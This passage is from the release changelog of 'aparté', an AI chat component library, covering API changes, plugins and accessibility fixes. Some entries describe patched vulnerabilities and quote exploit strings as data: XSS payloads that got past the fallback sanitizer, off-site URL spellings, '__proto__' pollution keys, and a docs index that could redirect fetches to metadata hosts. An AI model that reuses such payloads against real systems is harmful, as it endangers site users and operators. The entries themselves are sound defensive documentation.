runStreamAgentalways emits a terminal event: a Stop now ends the run withrun-abortedwherever it lands, and a tool handler that throws emits a newtool-failedevent ({ toolCallId, error }) before the run ends on that error. Widen an exhaustiveswitchoverStreamRunEventfor the new type.Three of the six abort exits — a Stop during a tool call, during an approval wait, or with no resolver — emitted nothing at all, so a host never cleared its typing indicator or its streaming id.
run-abortedis decided once now, at the loop’s exit, from the signal, and lands aftertext-flush.tool-failedreplaces a row that used to say “Running” for the rest of the session.Per-tool
maxTurnsuses the same arithmetic as the global cap:maxTurns: 1is one call, not none. It was>=against a>, so one number meant two things on the two knobs andmaxTurns: 1made a tool un-callable on the very first turn.The
tool_callenvelope declares a call only once it is committed to atool_result. A call halted before that point — no handler, turn limit reached, an abort — no longer appears in the serialized history as a call that never gets a result.@aparte/engine -
1b1a715: The conversation module leaves the engine:
estimateTokens,estimateTokensJson,computeHistoryBudget,splitHistoryBudget,DEFAULT_COMPACTION_CONFIG,CompactionConfig,BudgetBreakdown,BudgetResult,SplitBudget,createCompactionSelector,CompactionSelectorOptions,CompactableMessage,CompactionSelectionandCompactionSelectorare@aparte/plugin-compaction’s now, same names, same signatures — change the import. Gone with them, not moved:assembleCompacted,compactConversation,CompactionMessage,CompactionInput,CompactionResult,RetrievedTurn, theragHist*/ragIntroLabel/summaryLabelfields ofCompactionConfigand theragHistslot ofSplitBudget, and thetriggerSummaryThresholdPct/summarizeEveryNTurnsfields nothing read.The engine is the loop, and only the loop:
runStreamAgentreports usage and lets the caller decide. Nothing in it ever read the budget — the one reader wasAparteClient.compact(), which has moved to the same plugin — and a module with no in-package consumer is a contract maintained for nobody.@aparte/engine -
46dfbdb: The built-in
create_artifactis gone from the loop, with theartifact-readyrun event andderiveArtifactKind: a model callingcreate_artifactnow reaches a registered tool of that name or gets “unknown tool” like any other call. Install@aparte/plugin-artifacts(setupArtifacts()) to register the tool, or register your own.The name was compared in the loop and dispatched before the tool path — no
tool-start, no approval gate, no handler, a result of its own — the fast path that once orphaned the next tool’s result. A tool is a tool: it goes through the gate (a policy may class writing a document as awrite), the handler and the envelope, and its result reaches the renderer asstructuredResult.idGenkeeps its one remaining use, the synthetic call of a forcedtoolChoice.@aparte/engine -
4123389: The
nodeentry exports theAparteApprovalModeelement type, so an SSR consumer onnode16/nodenextcan name it in a signature.export typeis erased at compile time, so the entry stays DOM-free —scripts/check-node-import.mjsasserts it keeps importing without a document. The element itself is deliberately absent from that entry: it needs adocument, andimport '@aparte/plugin-approval'on a server registers the policy and nothing else.@aparte/plugin-approval -
a91ac86: New package:
@aparte/plugin-approval— approval modes for tool calls.setupApproval({ classify: { read, write, exec }, mode })installs a per-call policy from a classification of your tool names; the modes areplan(read-only tools run, the rest is refused with a reason the model reads),ask(every write or execution asks at the composer),auto-edit(writes run, executions ask) andauto(never asks).<aparte-approval-mode>is the switch, for<aparte-composer-toolbar>;approval.setMode()/subscribe()are the same switch from code. It executes nothing and stores nothing.The names are yours because they are wire format: no library can know that
run_commandexecutes andsearch_docsreads. A tool in no list keeps its ownneedsApproval(and runs underauto). Built on core’s newsetApprovalPolicy().@aparte/plugin-approval -
b6f4cc9:
setupAskUserandsetupApprovalnow take their options first and the config last, like every othersetup*—setupAskUser({ maxOptions: 6 }),setupApproval({ classify }), andsetupAskUser({}, config)for a scoped chat.setupAskUser(config, options)andsetupApproval(config, options)no longer compile.The plugins overview stated the rule (“every
setup*takes the config instance as its last argument, defaulting to the global”) and these two broke it; the leadingundefinedthe ask-user page had to write to reach the options was the symptom. Pre-1.0, a rename is a rename.@aparte/plugin-approval,@aparte/plugin-ask-user -
3c2e507:
buildSafePreviewDocument,PREVIEW_CSP,ASK_USER_DECLINEDandreceiptRowsnow import on the server too — they used to throw a SyntaxError under Node.All four are pure: string work over
escapeHtml/escapeAttrand over a tool call’s own input, with no DOM anywhere in their path. They were simply absent from the packages’nodebarrels, and the consequence was not a missing feature but a hardSyntaxError: The requested module does not provide an export named …the moment an SSR build evaluated the import — the exact failure those barrels were written to end.buildReceiptstays browser-only: it returns an element.receiptRowsis the data half, and it is the one a server rendering a transcript wants.ReceiptRowandReceiptSourceare exported as types on both entries.receiptRowsreturned an interface no consumer could name.ArtifactsSetupOptionsis now declared once. Each barrel declared its own, and they were not the same shape: the node copy omitted the render half, sopreviewandonBinarywere a type error against the SSR entry and valid against the browser one. One name meant two contracts depending on which condition resolved. The server still ignores those two fields — it registers no renderer — which is the point: the same options object can be written once and passed on both sides.@aparte/plugin-artifacts,@aparte/plugin-ask-user -
37f2450: New package:
setupArtifacts()registers a realcreate_artifacttool the model calls, the Code/Preview card that renders its result, the<artifact …>…</artifact>grammar for a model that writes one in its prose, and the segment renderer for it — one implementation, four registrations.An artifact is a convention an app teaches its model, not something a model does by nature, so the convention lives in a plugin end to end. The card is the one core used to ship: it opens on Code, mounts the sandboxed preview only on a press (a previewable artifact is model-authored code), copies and downloads a text artifact, and for a binary one (
pdf,xlsx,docx) asks the app’sonBinary(artifact)for the bytes once the source settles — no window-event protocol, no host handlers, no cache the app has to feed: a function that returns{ buffer, mime, filename, previewHtml? }or throws, and the card shows the file or the failure.preview: falseremoves the tab; a function replaces the built-in document builder;tagrenames or (false) disables the grammar;nameandsystemPromptare the tool’s.deriveArtifactKindmoves here and learns the standard names of the three binary kinds. The DOM-freenodeentry registers the tool and the grammar without a renderer.@aparte/plugin-artifacts -
45574cd:
ask_usernow returns its answer structured as well as in prose:structuredContentis{ action: 'accept', answers: [{ question, value }] }—valuea string for a single choice, astring[]for a multiple one — or{ action: 'decline' }(typesAskUserStructuredResult,AskUserAnswer). The prosecontentthe model reads is unchanged;ASK_USER_DECLINEDstays what that prose says on a decline. The receipt in the transcript reads the structure when it is there and falls back to the prose for a result that came from elsewhere.MCP’s elicitation result is exactly this shape (an
actionbeside the content), and a consumer had written a converter to get it back out of the sentence.@aparte/plugin-ask-user -
59016b1: New package:
@aparte/plugin-compaction— conversation compaction.setupCompaction(options, config)answers theaparte-compactcommand (<aparte-context auto-compact>dispatches it on reaching 90 % of the window; a button of yours dispatches it the same way): it selects what to summarise — by default the budget-aware selector over the current model’scontextWindow, system prompt and tools, keeping the newest turns that still fit, or the last two exchanges when the model declares no window — summarises it through the config’s transport with its tool calls and errors, and replaces the transcript with the summary as a notice (compaction: true) followed by the kept turns verbatim. The controller it returns hascompact(targetId?)(returns the outcome, never throws),abort(),runninganddispose().Options:
selector,keepWithoutWindow,prompt,keyResolver(the one you gaveAparteClient),summarize(replace the model call — your endpoint, a cheaper model),resolveTarget(a transcript in a store),scopeToTargetId,listen. Exports besides:createCompactionSelector,computeHistoryBudget,splitHistoryBudget,estimateTokens,estimateTokensJson,DEFAULT_COMPACTION_CONFIG,transcriptForSummary,messageText,DEFAULT_COMPACTION_PROMPT— the budget and selector that used to be@aparte/engine’s, and the summariser that used to beAparteClient.compact().What is new against the client’s version: one compaction at a time (a second request is reported
skipped,reason: 'running'); a transcript with a turn in flight is left alone (reason: 'streaming'); the summarisation has its own abort, reached byabort()and by anaparte-abortaddressed to the chat, and an abort settles the compaction even when the transport ignores the signal; what arrived while the summary was being written is kept; every event names the chat. The placement follows the survey: no UI kit compacts, every agent SDK ships it as an opt-in module — the seams (the gauge, the notice, the preamble, the request flag) stay in core, the behaviour is one call away.@aparte/plugin-compaction -
e4b1fbe: The conversation-manager helper of each wrapper (
useConversationManager,createConversationManager,ConversationManagerService) exposespin(id),unpin(id)andupdateTitle(id, title), so the list’s newaparte-pin-conversation,aparte-unpin-conversationandaparte-rename-conversationevents can be wired without reaching for the manager. Angular’s<aparte-conversation-list>directive gains the matching(pinConversation),(unpinConversation)and(renameConversation)outputs.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4e04443: The four wrappers render
<aparte-elicitation>inside their host by default; passelicitation={false}(:elicitation="false"in Vue,[elicitation]="false"in Angular) to opt out. If your app registers its own presenter withsetElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.Core’s
<aparte-chat>has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: arequestUserInput()under<AparteChat>rejected with the “no presenter” warning, and that warning told you to add the element “inside your<aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to[data-aparte-chat]by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive itsstreamingflag (aparte-message-startsets it;-done/-error/-abortedclear it) instead of “lifecycle events on window”.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4e04443:
<AparteChat>acceptsclassNameandstyle(React) /classandstyle(Svelte), merged onto the root element ([data-aparte-chat]).A utility-first app sizes the chat column with classes (
flex-1 min-h-0), and the library needs a constrained height chain down to that root; without a prop the only way was a descendant selector in a stylesheet. Vue already letclass/stylefall through to its single root, and Angular’s host element is the sized box — both are now stated in their framework pages.@aparte/react,@aparte/svelte -
7be58c9:
elicitationNext(« Suivant ») is removed with the composer button’s “advance” meaning;elicitationRecommended(« Recommandé ») is added for the tag a recommended option now wears, andapprovalModeLabel(« Mode d’approbation ») for the accessible name of@aparte/plugin-approval’s switch.@aparte/locale-fr -
e4b1fbe: French strings for the conversation row’s menu and date groups:
deleteConversation,archiveConversation,unarchiveConversationbecome the bare verbs (“Supprimer”, “Archiver”, “Désarchiver”), and the new keys are translated —conversationActions,renameConversation,conversationTitle,pinConversation,unpinConversation,deleteConversationConfirm,cancel,conversationGroupPinned/Today/Yesterday/Week/Month.@aparte/locale-fr -
3dbf25b: Every documentation page is fetched from your
baseUrl/APARTE_DOCS_URL: only the path of a URL the index prints is used, so pointing the server at a local build reads the local build, and an index entry naming another host cannot redirect the fetch.llms.txtlists one URL per topic set, and those URLs are absolute and point at the production site — even in a docs build served on localhost, because that is what the generator writes. The server fetched them verbatim, soAPARTE_DOCS_URL=http://localhost:4321read the index locally and then read every page from production: an offline or staging setup silently served the live docs, and a change you were checking never appeared.The same verbatim fetch made the index a way to choose what the machine running the agent requests. An index entry naming another host — a cloud metadata address, an intranet name, a port on localhost — was fetched from there.
A set URL now contributes its path (and query) only; the origin is always
baseUrl/APARTE_DOCS_URL, and anything that does not resolve tohttp/httpsis refused with an error rather than fetched.DocsSet.urlstill carries the URL the index printed.@aparte/docs-mcp -
6015096: New package:
@aparte/docs-mcp, the aparté documentation as an MCP server.npx @aparte/docs-mcpgives a coding agent four tools —list_sets,search_docs,get_page,get_set— over the text the docs site publishes for models (apartejs.dev/llms.txtand its per-topic files), so the answer is always the docs of the version that ships.createDocsMcpServer({ baseUrl })embeds it;APARTE_DOCS_URLpoints the CLI at a local docs build.Two consumers’ assistants could not find what the docs already had — the approval elicitation, the UI kit of classes,
systemPrompt: false— and one rebuilt a modal it already had. A model that reads a site cold misses; a model that can ask finds.@aparte/docs-mcp
Patch Changes
-
22fe79e: Links written as
//host,/\host,http:/hostor with leading whitespace now open in a new tab like every other external link.The hardening tested the RAW attribute against
^https?://, while the check that ACCEPTED the URL normalised it first (isSafeUrlstrips control and space characters, so" https://evil.example"is accepted and//attacker.examplepasses as a relative URL). Both are external once a browser resolves them, and both kept the default target — they navigated the frame the chat lives in, which is the one thing this rule exists to prevent, and the docs promised the opposite. The external test now reads the same normalised value the accept path did.Two more spellings resolve off-site and the allowlist accepts both: a backslash is a slash to a URL parser on a special scheme (
/\evil.exampleis a relative URL), and a single slash after an explicit scheme enters authority state when that scheme differs from the page’s (http:/evil.example). Measured with Node’s WHATWG URL against basehttps://site.example/chat/, both land onevil.example. They are hardened too.It stays a string test rather than
new URL(value, document.baseURI): this module has a documented DOM-free path, and resolving would quietly turn the rule into “cross-origin” instead of “external”.@aparte/core -
22fe79e: The DOM-free sanitizer (the
nodeentry) now strips handlers written as<img src=x/onerror=…>and removes an unclosed<svg>/<math>/<form>.When there is no
DOMParser— SSR, Node, a test runner — the built-in degrades to a regex net, and that whole branch was untested. It had two hand-written tag lists that disagreed:svg,mathandformwere only in the paired pass, so an unclosed one walked straight through, andbutton/select/titleand the rest were in neither. Its handler stripper demanded whitespace beforeon…, while HTML also ends an attribute at/and at the closing quote of the previous value, so<img src=x/onerror=…>and<img src="x"onerror="…">kept their handlers.The handler pass also ran once, and it consumes the separator in front of the handler it removes — so two written back to back (
<img src=x onload="0"onerror="alert(1)">) lost the quote that separated the second one and it survived. It now runs to a fixed point; the replacement is a space, which restores the separator for the next round.Both tag passes now read
DANGEROUS_TAGS, the same list the DOM path uses — the three document-structure tags (html,head,body) lose their tags but keep what they wrapped, matching what a real parser does with them. The net remains a safety net and not a security boundary: for untrusted HTML off the browser, register a real sanitizer (DOMPurify + jsdom) viasetHtmlSanitizer.@aparte/core -
4123389:
createAparteChatHandleranswers a failed vendor fetch with502 Vendor request failed.and an unknownproviderIdwith400even when the name is an inherited key such as__proto__— two status codes a caller may see change.The 502 body is now a fixed string. It used to be the exception’s own message, and that message can name the URL it tried:
authQuery(Gemini’s?key=) puts the API key in the URL, and a customfetchImplprints the URL in its error text (node-fetch:request to ${url} failed, reason: …). The vendor’s prose goes to the server’s log viaconsole.error, never to the client — the same rule the non-okbranch already followed.The 400 is the
providerIdlookup. It readoptions.providers[providerId]on a client-supplied string, so on a plain object literalproviders["__proto__"]andproviders["constructor"]resolve to a truthy inherited value: the “Unknown providerId” 400 was skipped and the request fell through to a 500 further down. The lookup isObject.hasOwnnow.@aparte/core -
5e0c4e7: A stream block whose attribute value contains
>(title="v1 -> v2") now keeps its attributes instead of losing them all and leaking the raw tag into the body.The opening tag was cut at the first
>in the buffer, wherever it fell.<note kind="a>b" title="t > u">therefore ended aftera, so no attribute parsed (kindfell back to the grammar’s default) andb" title="t > u">was streamed into the segment’s content as literal markup. The tag now ends at the first>outside a quoted value; a quote only opens after an=, so a stray"written in prose or in an attribute-less tag cannot hold the buffer open, and an opening tag still incomplete at a chunk boundary is held for the next chunk exactly as before.One malformed shape reads differently: a quote the model opens and never closes. Its value now runs to the end of the line, so the tag is read at its first
>once the line ends rather than as soon as that>arrives. If the reply never breaks a line after such a tag, the tag and everything after it arrive as one plain-text run when the reply ends, instead of opening a block with a truncated attribute.@aparte/core -
5e0c4e7: Reusing an
AparteStreamParserafter a reply that ended mid-fence or mid-block no longer swallows the next reply.finalize()flushed what was left but never spent the mode it was in. A reply cut off inside a ``` fence, a<think>block or a registered<tag>left the parser waiting for a closing delimiter that would never come, so the first characters of the NEXT reply were eaten by that wait — silently, with no segment to show for them. The built-in client builds a fresh parser for every turn, so this bites a consumer who drivesAparteStreamParserthemselves and keeps it across replies — the bring-your-own-loop path.finalize()now returns the parser totextwith an empty buffer and no armed delimiter.@aparte/core -
3a0f593:
<aparte-context auto-compact>asks for a compaction again after one was refused or failed; it used to ask once and never again.The request was spent only by a compaction that actually landed. A skip — nothing to drop yet, a stream in flight, another compaction running — returned before the flag was cleared, the level never left
dangerwith the usage still climbing, and the gauge stayed silent for the life of the element. The request is now made per turn: one stays open until the plugin answers (done, skipped or failed), and the next turn still in danger asks again. Nothing changes for a compaction that succeeds.@aparte/core -
95613d0:
aparte-sidebar-toggleannounces a change, never the starting state:<aparte-sidebar collapsed>is silent at mount, and so is a sidebar that enters as a closed drawer on a narrow window. Readcollapsedafter connect for the state it started in.The element used to read its markup as a change. During an UPGRADE — the ordinary case for server-rendered markup, where the module loads after the HTML —
attributeChangedCallbackfires for every authored attribute while the element is already connected and beforeconnectedCallbackhas run.collapsedwas therefore announced as a toggle the host never asked for, carryingdrawer: falsebecause the media query had not run yet: a host persisting that detail wrote “the column is open” over a drawer that was closed.connectedCallbackstamps what the markup asked for AFTER the breakpoint has been applied, and the attribute callback is gated on that, the way<aparte-split>already was.@aparte/core -
95613d0: Widening the window past the drawer breakpoint reopens the sidebar only when nothing had collapsed it as a column:
<aparte-sidebar collapsed>in the markup, or a host collapse taken outside the drawer state, keeps it folded._applyDrawerreopened on every exit from the drawer state, against its own docblock (“unless the host had collapsed it before” — nothing recorded that). So a host that folded the column, or markup that shipped<aparte-sidebar collapsed>, got it back the first time the window crossed 48rem.The element now records a collapse only when it is taken OUTSIDE the drawer state — dismissing an overlay says nothing about what a wide window should show — and its own breakpoint writes never count as the host’s intent.
That intent is read from the markup once, on the first connect. A re-parent — a framework re-render, a tab swap, dragging the panel elsewhere — runs
connectedCallbackagain, and by thencollapsedcan be the breakpoint’s own doing: reading it a second time recorded the element’s write as the host’s word and the column stopped reopening for good.@aparte/core -
4a508e4:
reset()and a double-click on the seam return an<aparte-split>to the position its markup declared, and a split folded before a move reopens at the size it had — both survive a re-parent (a framework re-render, a tab switch, dragging the panel elsewhere).A re-parent — a framework re-render, a tab switch, dragging the panel elsewhere — runs
connectedCallbackagain, and by then thepositionattribute holds the last commit rather than what the author wrote. The element captured it as the initial position, soreset()and a double-click on the seam went back to wherever the reader last dragged the seam.Worse when it was folded: a collapsed split reflects
position="0", so the re-mount recorded 0 as the size to restore andexpand()reopened onto nothing. The size it had before it folded is now kept across the move.@aparte/core -
9eccccc: The dialog recipe dismisses on a backdrop click only when both ends of the gesture landed on the backdrop: selecting text inside the box and releasing outside it leaves the dialog open, and a programmatic
dialog.click()does not close it — callclose().A
clickfires on the nearest common ancestor of where the press landed and where it was released, so a selection dragged a few pixels past the box targets the<dialog>itself — identical, from the click alone, to a deliberate press on the backdrop. Reproduced in all three engines, in both directions (press outside, release inside, same result).So the dismissal asks for the press as well:
installDialogTriggersOnce()records wherepointerdownlanded and theclickhandler only dismisses when that was the backdrop too. The cost is the second half of the first line — a synthetic click has pressed nothing, so it is not a dismissal.@aparte/core -
3590e4a: The
<aparte-split>resize seam draws a real focus outline when it takes keyboard focus:outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus), measured 3.54:1 against the page in the light palette and 7.36:1 in the dark one..aparte-split__handle:focus-visiblewasoutline: noneplus the soft--aparte-focus-ringshadow and nothing else. Measured, that ring is 1.39:1 against the page in the light palette and 1.83:1 in the dark one, where WCAG asks 3:1 of a focus indicator — so the seam’s only keyboard affordance was, in practice, absent. It matters more here than almost anywhere else in the library: the seam is a 4px band withborder: 0whose entire story is arrowing it, so a keyboard user who cannot see the focus has no other way to find it.It now paints
outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus)— 3.54:1 light, 7.36:1 dark — and keeps the shadow beside it as decoration, since a glow around the seam and an outline on it do not fight. The forced-colors entry inresponsive.cssis unchanged and now overrides an outline that exists rather than substituting for one that does not.@aparte/core -
3590e4a: The ✕ on a pending attachment now appears when it is focused and on touch devices — it was the only way to remove one.
.aparte-thumb__removesat atopacity: 0with a single:hoverrule to reveal it. A keyboard user tabbing onto it got a focus ring drawn around nothing; a touch user, who cannot hover at all, never saw it and could not drop a file attached by mistake. The sheet now pairs:focus-withinwith the hover rule — the same pair the message action bar and the conversation row already use, which is what makes this an omission rather than a design — and the coarse-pointer block shows it outright, beside the conversation row’s ⋯ that is there for the same reason.e2e/tests/attachments.spec.tspassed through all of it: Playwright’s visibility check ignoresopacity. The new unit suite asserts the sheet and the control together, because the two halves hold each other up —:focus-withincan only ever match if the ✕ is genuinely focusable.@aparte/core -
3c2e507:
querySelector('aparte-context' | 'aparte-split' | 'aparte-suggestions')is now typed — the cast and the untypede.detailare gone.Those three were the only elements missing from
HTMLElementTagNameMap: 21 of 24 were mapped, and the three left out were the whole up-stack surface of this release, so the shell code most likely to be written this month was the code that needed a cast.The map’s docstring said
pnpm check:element-mapkept it honest. No such script has ever existed. It is pinned now by a type assertion against the generatedAparteElementTagName— which comes from the custom-elements manifest and therefore carries every tag by construction — so a missing entry is a compile error naming the tag, in the editor and innx typecheck, which is what the pre-commit hook runs. The other direction (a key no element backs) is a test, becauseHTMLElementTagNameMapis a global interface the plugins augment too.Two other claims in that docstring were wrong and are corrected: the file is imported by the SSR entry as well as the browser one, on purpose.
@aparte/core -
3c2e507:
registerAllComponents()now references every element class (24, not 4) and names the ones that are missing.It looked up four tags — chat, viewport, bubble, status — and on a miss logged “Some components may not be registered.” Both halves failed the reader the guide sends here. A bundler that dropped
<aparte-split>or<aparte-composer-toolbar>produced a silent green, because those twenty were never checked; and anyone who did see the warning was told nothing about which module to import.The function now reads one
[tag, class]array covering all 24, and the warning lists the missing tags by name. The registrations themselves are unaffected either way: the browser build is one module,dist/index.js, whichsideEffectsnames, so all 24customElements.definecalls ship in it whether or not anything references the classes.@aparte/core -
3a0f593:
<aparte-context>declares theaparte-compactevent it dispatches, so it appears in the shipped custom-elements manifest, on the element’s docs page, and in the editor tooltip that manifest feeds.The gauge has dispatched it on
windowsinceauto-compactexisted — that is the whole of what the attribute does — and it carried no@fires, so it was absent from the shipped custom-elements manifest, from the element’s generated page, and from the editor tooltip a consumer reads. It was typed inAparteEventMapand described in prose the entire time, which is what made it invisible: every list a reader consults said the element fires one event.The dispatch is typed with its detail (
AparteCompactEventDetail) rather than an anonymousCustomEvent, and the event map’s comment is corrected — it said “Core never sends these” of a block of five, which was false of four of them, the gauge’s own included.@aparte/core -
4a508e4:
<aparte-split pane="end">keeps that pane when it loads stacked on a narrow screen, and everyshowPane()that changes the pane commits it and firesaparte-split-resize.Entering the stacked state showed the start pane unconditionally, deleting the choice the markup had already made. And because that write happens during the mount, where the attribute callback is suppressed, the element never recorded it: a later
showPane('end')looked like no change and committed nothing, so the host heard noaparte-split-resizeand its two-button toggle went dead once.The stacked check also read the
stackedgetter, which counts the CSS route (.aparte-split--only-start/--only-end) as well as the element’s owndata-stacked. Abreakpoint="none"split wearing one of those classes therefore looked, at mount, like a split leaving a state it had never entered — and had its authoredpaneremoved on the way in.@aparte/core -
5e0c4e7: A
registerStreamBlockgrammar’stoSegmentruns exactly once per tag, with prose before the tag or without — safe to count, allocate or register in.a <note kind="k"/>emitted the right segments, but built them twice: the text run went out first and the tag was left in the buffer to be re-read on the next step, so a grammar that counts, allocates or registers something intoSegmentdid it a second time and threw the first result away. The tag is now consumed once and the block it built waits its turn. What comes out, and in which order, is unchanged.@aparte/core -
3a0f593:
<aparte-context>now formats its numbers withlocale.taginstead of the browser’s.Both
Intl.NumberFormatcalls in the gauge passedundefined— “follow the BROWSER” — which is exactly the bugAparteLocale.tagwas added to close, and which<aparte-conversation-list>and the bubble’s clock already read it for. So an app that calledsetLocale(fr)moved fifty strings and left the gauge counting in en-US:14%where French writes14 %, and128Kwhereja-JPwrites12.8万.Both the bar’s reading and the ring’s percentage follow the tag now, including the meter’s
aria-label. A locale with no tag still follows the browser, which is the documented English default.@aparte/core -
33c62b5: Two sends fired back to back keep their order, and an attachment named
A & B.pngreads as itself in the tooltip and the alt text.A second send arriving while the first is still creating the conversation waits for it, so the two messages land in the order they were typed and the auto-title comes from the first. The attachment name was escaped twice on its way into the thumbnail’s
titleandalt— escaped once as text, then handed toescapeAttr— soA & B.pngwas displayed asA & B.png.The rest, none of which changes a call you make.
modelSelectorPlaceholderandapprovalModeLabelare declared fields ofAparteLocale(no value or behaviour changes — they were already read, just undeclared).cssEscapealso escapes a newline.updateMessage({ segments })on a bubble copies the array in, assetSegmentsdoes, so a caller that mutates its own array afterwards does not reach into the bubble. TheheadersJSDoc says the session cookie only rides a same-origin endpoint;setBubbleActions’s example no longer claims{ copy: false }hides everything;AparteClientloses an abort-controller set nothing ever added to.@aparte/core -
ecd50e2: The scroll-to-bottom button leaves the tab order while it is hidden.
Hidden meant opacity 0 and no pointer events, which the keyboard cannot see: the button stayed a tab stop while invisible, so Tab landed on nothing between the transcript and the composer. With the transcript now a stop of its own, that phantom stop pushed the composer past the eighth Tab on the vanilla example — the e2e that says a keyboard user must not hunt for the editor caught it on all three engines. A hidden button carries
tabindex="-1"andaria-hidden="true"; both go the moment it shows.@aparte/core -
bc75c30: The copy buttons now work on plain
http://— a code block, the artifact card and the bubble’s action bar fall back todocument.execCommand('copy')wherenavigator.clipboarddoes not exist.copyText(text)is exported so your own copy button can take the same path.navigator.clipboardis secure-context only. Onhttp://192.168.1.x— the LAN box running a local model, this library’s own archetypal deployment — the property isundefined, so each of the three buttons threw a TypeError in its click handler before the.catch()it carried for a rejected write, and did nothing, silently. Same wall ascrypto.randomUUIDanduuid();pnpm check:secure-contextnow confines both APIs to their one fallback.@aparte/core -
fb14521: A field group’s prefix and suffix (
.aparte-field-group__prefix/__suffix) sit on their own ground —--aparte-surface-2with a rule against the field — instead of the field’s. Muted text on the same ground, “https://” read as the start of what the user had typed. The group clips to its corners for it (overflow: hidden); the focus ring is a shadow on the group, outside that box, and is not clipped.@aparte/core -
4b8bd15: The sidebar’s collapse and the drawer’s slide are animated:
--aparte-duration-slowfor the 260px fold,--aparte-duration-slowerfor the drawer, and both are stopped underprefers-reduced-motion.Both transitions named
--aparte-duration-normal, a tokentheme.csshas never declared — and avar()that resolves to nothing invalidates the wholetransitionshorthand at computed-value time, so neither property transitioned at all. They read--aparte-duration-slow(the 260px fold) and--aparte-duration-slower(the drawer, which travels the whole column plus its shadow). Nothing else changed, so a reader who learned the snap will read the slide as new behaviour: it is the behaviour the sheet always described.The sheet’s own
@media (prefers-reduced-motion: reduce)block goes with the fix.responsive.cssalready re-declares every duration token to0.01msunder that query, at the source — a second, hand-written patch for two selectors was the drift that hid the missing token in the first place.@aparte/core -
2f8fa7c: The switch’s thumb is centred in its track, and the track is 40×22 with a 2px inset. The thumb’s size is now derived from the track (
--aparte-switch-thumb-size= height − 2 × border − 2 × inset) instead of being a fourth number set by hand, so the three cannot drift apart again; a theme that changes the height gets a thumb that still fits.--aparte-switch-width,--aparte-switch-heightand--aparte-switch-thumb-insetare the knobs.It had been off by a pixel on one axis and the four values had been tuned separately — a defect you saw the moment the density preset made the control larger.
@aparte/core -
ebe003e: The transcript reserves its scrollbar gutter on both edges (
scrollbar-gutter: stable both-edges), so the centred column no longer shifts by half a scrollbar the moment the first reply overflows. Applies to the vanilla scroll container and to the framework-managed viewport alike; a host that wants the old behaviour setsscrollbar-gutter: autoon.aparte-viewport-container.@aparte/core -
1a9da39: The viewport keeps confirming its scroll position while a rebuilt transcript’s height is still settling, instead of giving up at the first frame the gap looks closed.
A layout settles in stages, so one
scrollTopassignment is not enough and the viewport confirms it over the frames that follow. That confirmation was bounded by four frames and stopped at the first frame the gap was closed — and a rebuild is exactly the case that re-opens it. Measured on react-webkit: a branch swap churned the scrollable max 891 -> 1091 -> 891, the gap closed against the tall layout so the chain ended, the height then fell back with the engine holding the position at 720, and the transcript stood 171px short with auto-follow still armed and a scroll-to-bottom button on a reader who never left.Two changes. The confirmation is bounded by 400ms instead of four frames — a frame count is a proxy for time that fails precisely on the slow engine — and it keeps watching after a gap closes, until the window is over. And a decrease the reader did not make, which leaves a gap while the follow is armed, re-opens that window; nothing else could close it, since the rebuild’s mutations are over and the resize observer watches the host’s box, not the transcript’s content.
A reader is still left alone: the intent flag is re-read every frame, and a gesture, a drag-selection upward or a find-in-page jump all disarm the follow before the new path can be reached. A scroll of ours that is still moving down is left alone too — that is every frame of a smooth scroll, and re-anchoring one of them would abort the animation. During a stream the confirmation is now one chain rather than one per token.
What this does NOT close: the react-webkit branch-swap failure that started the investigation still reproduces at the same rate (18/20 first attempt, with and without this change). Its captured mechanism is a different one — WebKit moves the position up by 36-338px with the scroll height standing still, before the press, which the classifier reads as the reader and disarms the follow — so both new paths, gated on the follow being armed, are inert on it.
@aparte/core -
4e04443: The four wrappers render
<aparte-elicitation>inside their host by default; passelicitation={false}(:elicitation="false"in Vue,[elicitation]="false"in Angular) to opt out. If your app registers its own presenter withsetElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.Core’s
<aparte-chat>has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: arequestUserInput()under<AparteChat>rejected with the “no presenter” warning, and that warning told you to add the element “inside your<aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to[data-aparte-chat]by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive itsstreamingflag (aparte-message-startsets it;-done/-error/-abortedclear it) instead of “lifecycle events on window”.@aparte/core -
a9a3ce4: A streamed turn that ends on
finish_reason: 'stop'or'length'(or a bare[DONE]) after tool-call deltas now emits the accumulatedtool_useevents instead of dropping them — a call cut mid-arguments is dropped with a console line rather than run on{}. The accumulator no longer inherits fromObject.prototypeand a vendor’sindexis made a number, so a chunk whoseindexis"__proto__"pollutes nothing.@aparte/provider-openai-compat -
0556897: A
match()that returns something other than a scenario key — the scenario object, an unknown name — is said in the console, naming what it returned and the keys the provider knows, instead of streaming an empty turn in silence (“Typing…” forever, issue #29). The value-branching pattern — the tool’s result carries the answer,matchreads it back from the lasttool_result— is documented.@aparte/provider-scenario -
4123389: An app-built artifact segment with an upper-case
artifactType('HTML','SVG') gets a working Preview tab.The card lower-cases
artifactTypeat every read, so a segment an app assembles by hand meets the lower-case names the parser produces. Compared case-sensitively it would not:'HTML'misses the previewable kinds after the tab has already rendered enabled, and the press shows nothing.@aparte/plugin-artifacts -
b6f4cc9: The receipt in the transcript reads its answers from the tool’s
structuredResult: the shipped renderer hands it the structured value alongside the prose.structuredResultis new this release (AparteToolResult.structuredContenttravelling with the call), and the receipt reads that path first, falling back to parsing the prose. The renderer the plugin ships passed only the prose, so on the default wiring the structured path was never taken and the receipt was reconstructing what it had been handed.@aparte/plugin-ask-user -
ec4b2a5: A compaction whose summary arrives after the conversation was switched is refused: the summary never lands on the transcript the user moved to.
A summarisation is a model call, so seconds pass between reading the transcript and replacing it. If the user switched conversation in that window, the plugin emptied whatever was on screen and appended the summary of the conversation they had left, plus the turns it had selected there — over conversation B, reported as
